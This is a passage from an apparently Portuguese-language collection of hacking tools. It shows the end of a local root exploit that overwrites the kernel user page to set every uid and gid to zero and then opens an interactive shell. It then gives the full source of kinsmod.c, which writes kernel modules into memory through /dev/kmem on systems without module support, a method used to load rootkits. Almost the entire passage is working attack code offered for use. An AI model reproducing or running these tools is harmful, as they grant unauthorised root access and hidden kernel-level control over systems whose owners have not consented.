                perror(argv);
                exit(30);
        }
        printf(" Current uid is %d\n", userpage.u_ruid);
        printf(" Current gid is %d\n", userpage.u_rgid);
        printf(" Current euid is %d\n", userpage.u_uid);
        printf(" Current egid is %d\n", userpage.u_gid);
        userpage.u_ruid = 0;
        userpage.u_rgid = 0;
        userpage.u_uid = 0;
        userpage.u_gid = 0;
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(40);
        }
        write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
        execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
}

# include <filehdr.h>
# include <syms.h>
# include <ldfcn.h>

# define LNULL ( (LDFILE *)0 )

long    address ()
{
        LDFILE  *object;
        SYMENT  symbol;
        long    idx;
        object = ldopen( "/unix", LNULL );
        if( object == LNULL ) {
                fprintf( stderr, "Could not open /unix.\n" );
                exit( 50 );
        }
        for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
                if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
                        fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
                        ldclose( object );
                        return( symbol.n_value );
                }
        }
        fprintf( stderr, "Could not read symbols in /unix.\n");
        exit( 60 );
}

-------------------------------------------------------------------------------

Module insertion without native support(insercao de modulo sem suporte nativo)

Nome: kinsmod.c
Autor: Silvio Cesare
Descricao: Este eh um otimo programa que nos ensina a inserir LKMs em
sistemas sem native module supporte(suporte nativo a modulos)
Link: http://www.antisearch.com

/**********needed include file*/
#ifndef KMEM_H
#define KMEM_H

#include <linux/module.h>
#include <unistd.h>
#include <fcntl.h>

/*
	these functions are anologous to standard file routines.
*/

#define kopen(mode) open("/dev/kmem", (mode))
#define kclose(kd) close((kd))

ssize_t kread(int kd, int pos, void *buf, size_t size);
ssize_t kwrite(int kd, int pos, void *buf, size_t size);

/*
	ksyms initialization and cleanup
*/

int ksyms_init(const char *map);
void ksyms_cleanup(void);

/*
	print the ksym table
*/

void ksyms_print(void);

/*
	return the ksym of name 'name' or NULL if no symbol exists
*/

struct kernel_sym *ksyms_find(const char *name);

#endif


/**********KMEM functions*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include "kmem.h"

struct ksymlist {
	struct ksymlist*	next;
	struct kernel_sym	ksym;
};

struct ksymlisthead {
	struct ksymlist*	next;
};

/*
	the hash size must be an integral power of two
*/

#define KSYM_HASH_SIZE	512

struct ksymlisthead ksymhash[KSYM_HASH_SIZE];

/*
	these functions are anologous to standard file routines.
*/

ssize_t kread(int kd, int pos, void *buf, size_t size)
{
	int retval;

	retval = lseek(kd, pos, SEEK_SET);
	if (retval != pos) return retval;

	return read(kd, buf, size);
}

ssize_t kwrite(int kd, int pos, void *buf, size_t size)
{
	int retval;

	retval = lseek(kd, pos, SEEK_SET);
	if (retval != pos) return retval;

	return write(kd, buf, size);
}

void ksyms_print(void)
{
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++) {
		struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
		struct ksymlist *current = ksymhash[i].next;

		while (current != head) {
			printf(
				"name: %s addr: %lx\n",
				current->ksym.name,
				current->ksym.value
			);
			current = current->next;
		}
	}
}

void ksyms_cleanup(void)
{
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++) {
		struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
		struct ksymlist *current = head->next;

		while (current != head) {
			struct ksymlist *next = current->next;

			free(current);
			current = next;
		}
	}
}

int hash(const char *name)
{
	unsigned long h;
	const char *p;

	for (h = 0, p = name; *p; h += (unsigned char)*p, p++);

	return h & (KSYM_HASH_SIZE - 1);
}

int ksyminsert(struct kernel_sym *ksym)
{
	struct ksymlist *node;
	struct ksymlisthead *head;

	node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
	if (node == NULL) return -1;

	head = &ksymhash[hash(ksym->name)];

	memcpy(&node->ksym, ksym, sizeof(*ksym));

	node->next = (struct ksymlist *)head->next;
	head->next = node;

	return 0;
}

int ksyms_init(const char *map)
{
	char s[512];
	FILE *f;
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++)
		ksymhash[i].next = (struct ksymlist *)&ksymhash[i];

	f = fopen(map, "r");
	if (f == NULL) return -1;

	while (fgets(s, sizeof(s), f) != NULL) {
		struct kernel_sym ksym;
		char *n, *p;

		ksym.value = strtoul(s, &n, 16);
		if (n == s || *n == 0) goto error;

		p = n;
		while (*p && isspace(*p)) ++p;
		if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;

		p += 2;
		n = p;
		while (*p && !isspace(*p)) ++p;
		if (*p) *p = 0;

		strncpy(ksym.name, n, 60);

		if (ksyminsert(&ksym) < 0) goto error;
	}

	fclose(f);
	return 0;

error:
	fclose(f);
	ksyms_cleanup();
	printf("--> %s\n", s);
	return -1;
}

struct kernel_sym *ksyms_find(const char *name)
{
	struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
	struct ksymlist *current = head->next;

	while (current != head) {
		if (!strncmp(current->ksym.name, name, 60))
			return &current->ksym;

		current = current->next;
	}

	return NULL;
}



/**********MAIN PROGRAM : kinsmod.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <elf.h>
#include <getopt.h>
#include "kmem.h"

static char system_map[] = "System.kmap";
static int error = 0;
static int run = 0;
static int force = 0;

struct _module {
	Elf32_Ehdr	ehdr;
	Elf32_Shdr*	shdr;
	unsigned long	maddr;
	int		maxlen;
	int		len;
	int		strtabidx;
	char**		section;
};

Elf32_Sym *local_sym_find(
	Elf32_Sym *symtab, int n, char *strtab, const char *name
)
{
	int i;

	for (i = 0; i < n; i++) {
		if (!strcmp(&strtab[symtab[i].st_name], name))
			return &symtab[i];
	}

	return NULL;
}

Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
{
	char *strtab = module->section[module->strtabidx];
	int i;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		Elf32_Shdr *shdr = &module->shdr[i];

		if (shdr->sh_type == SHT_SYMTAB) {
			Elf32_Sym *sym;

			sym = local_sym_find(
				(Elf32_Sym *)module->section[i],
				shdr->sh_size/sizeof(Elf32_Sym),
				strtab,
				name
			);
			if (sym != NULL) return sym;
		}
	}

	return NULL;
}

void check_module(struct _module *module, int fd)
{
	Elf32_Ehdr *ehdr = &module->ehdr;

	if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
		perror("read");
		exit(1);
	}

/* ELF checks */

	if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
		fprintf(stderr, "File not ELF\n");
		exit(1);
	}

	if (ehdr->e_type != ET_REL) {
		fprintf(stderr, "ELF type not ET_REL\n");
		exit(1);
	}

	if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
		fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
		exit(1);
	}

	if (ehdr->e_version != EV_CURRENT) {
		fprintf(stderr, "ELF version not current\n");
		exit(1);
	}
}

void load_section(char **p, int fd, Elf32_Shdr *shdr)
{
	if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	*p = (char *)malloc(shdr->sh_size);
	if (*p == NULL) {
		perror("malloc");
		exit(1);
	}

	if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
		perror("read");
		exit(1);
	}
}

void load_module(struct _module *module, int fd)
{
	Elf32_Ehdr *ehdr;
	Elf32_Shdr *shdr;
	char **sectionp;
	int slen;
	int i;

	check_module(module, fd);

	ehdr = &module->ehdr;
	slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;

	module->shdr = (Elf32_Shdr *)malloc(slen);
	if (module->shdr == NULL) {
		perror("malloc");
		exit(1);
	}

	module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
	if (module->section == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

        if (read(fd, module->shdr, slen) != slen) {
                perror("read");
                exit(1);
        }

	for (
		i = 0, sectionp = module->section, shdr = module->shdr;
		i < ehdr->e_shnum;
		i++, sectionp++
	) {
		switch (shdr->sh_type) {
		case SHT_NULL:
		case SHT_NOTE:
		case SHT_NOBITS:
			break;

		case SHT_STRTAB:
			load_section(sectionp, fd, shdr);
			if (i != ehdr->e_shstrndx)
				module->strtabidx = i;
			break;

		case SHT_SYMTAB:
		case SHT_PROGBITS:
		case SHT_REL:
			load_section(sectionp, fd, shdr);
			break;

		default:
			fprintf(
				stderr,
				"No handler for section (type): %i\n",
				shdr->sh_type
			);
			exit(1);
		}

		++shdr;
	}
}

void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
{
	Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
	Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
	Elf32_Addr addr;
	Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
	Elf32_Addr dot =  targshdr->sh_addr + rel->r_offset;
	Elf32_Addr *loc = (Elf32_Addr *)(
		module->section[shdr->sh_info] + rel->r_offset
	);
	char *name = &module->section[module->strtabidx][sym->st_name];

	if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
		struct kernel_sym *ksym;

		if (force) {
			char novname[60];
			int len;

			len = strlen(name);
			if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
				strncpy(novname, name, len - 10);
				novname[len - 10] = 0;
				ksym = ksyms_find(novname);
			} else
				ksym = ksyms_find(name);
		} else
			ksym = ksyms_find(name);
		if (ksym != NULL) {
			addr = ksym->value;

#ifdef DEBUG
			printf(
				"Extern symbol is (%s:%lx)\n",
				ksym->name,
				(unsigned long)addr
			);
#endif
			goto next;
		}

		if (
			sym->st_shndx == 0 ||
			sym->st_shndx > module->ehdr.e_shnum
		) {
			fprintf(
				stderr,
				"ERROR: undefined symbol (%s)\n", name
			);
			++error;
			return;
		} 
	}

	addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;

#ifdef DEBUG
	printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
#endif

next:
	if (targshdr->sh_type == SHT_SYMTAB) return;
	if (targshdr->sh_type != SHT_PROGBITS) {
		fprintf(
			stderr,
			"Rel not PROGBITS or SYMTAB (type: %i)\n",
			targshdr->sh_type
		);
		exit(1);
	}

	switch (ELF32_R_TYPE(rel->r_info)) {
	case R_386_NONE:
		break;

	case R_386_PLT32:
	case R_386_PC32:
		*loc -= dot;	/* *loc += addr - dot	*/

	case R_386_32:
		*loc += addr;
		break;

	default:
		fprintf(
			stderr, "No handler for Relocation (type): %i",
			ELF32_R_TYPE(rel->r_info)
		);
		exit(1);
	}
}

void relocate_module(struct _module *module)
{
	int i;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type == SHT_REL) {
			int j;
			Elf32_Rel *relp = (Elf32_Rel *)module->section[i];

			for (
				j = 0;
				j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
				j++
			) {
				relocate(
					module,
					relp,
					&module->shdr[i]
				);

				++relp;
			}
		}
	}
}

void print_symaddr(struct _module *module, const char *symbol)
{
	Elf32_Sym *sym;

	sym = localall_sym_find(module, symbol);
	if (sym == NULL) {
		fprintf(stderr, "No symbol (%s)\n", symbol);
		++error;
		return;
	}

	printf(
		"%s: 0x%lx\n",
		symbol,
		(unsigned long)module->shdr[sym->st_shndx].sh_addr
			+ sym->st_value
	);
}

void init_module(struct _module *module, unsigned long maddr)
{
	int i;
	unsigned long len = 0;

	module->maddr = maddr;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		module->shdr[i].sh_addr = len + maddr;
		len += module->shdr[i].sh_size;
	}

	module->len = len;

	if (module->maxlen > 0 && module->len > module->maxlen) {
		fprintf(
			stderr,
			"Module too large: (modsz: %i)\n",
			module->len
		);
		exit(1);
	}

	printf("Module length: %i\n", module->len);
	
	relocate_module(module);

	print_symaddr(module, "init_module");
	print_symaddr(module, "cleanup_module");
}

void do_module(struct _module *module, int fd)
{
	int kd;
	int i;

#ifdef DEBUG
	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
			perror("lseek");
			exit(1);
		}

		if (
			write(
				fd, module->section[i], module->shdr[i].sh_size
			) != module->shdr[i].sh_size
		) {
			perror("write");
			exit(1);
		}
	}
#else

	kd = open("/dev/kmem", O_RDWR);
	if (kd < 0) {
		perror("open");
		exit(1);
	}

	if (lseek(kd, module->maddr, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		if (
			write(
				kd, module->section[i], module->shdr[i].sh_size
			) != module->shdr[i].sh_size
		) {
			perror("write");
			exit(1);
		} 
	}

	close(kd);
#endif
}

int main(int argc, char *argv[])
{
	char *map = system_map;
	struct _module module;
	int fd;
	int ch;
	int retval = 0;

	while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
		switch (ch) {
		case 'm':
			map = optarg;
			break;

		case 't':
			++run;
			break;

		case 'f':
			++force;
			break;
		}
	}

/*
	so we can move options in and out without changing the codes idea
	of what argv and argc look like.
*/

	--optind;

	argv += optind;
	argc -= optind;

	if (argc != 3 && argc != 4) {
		fprintf(
			stderr,
			"usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
		);
		exit(1);
	}

#ifdef DEBUG
	fd = open(argv[1], O_RDWR);
#else
	fd = open(argv[1], O_RDONLY);
#endif
	if (fd < 0) {
		perror("open");
		exit(1);
	}

	if (ksyms_init(map) < 0) {
		perror("ksyms_init");
		exit(1);
	}

	module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
	load_module(&module, fd);
	init_module(&module, strtoul(argv[2], NULL, 16));
	if (run == 0) {
		if (error == 0) {
			do_module(&module, fd);
		} else {
			fprintf(
				stderr,
				"FAILED: (%i) errors. Exiting...\n", error
			);
			++retval;
		}
	}
 
	ksyms_cleanup();

	exit(retval);
}
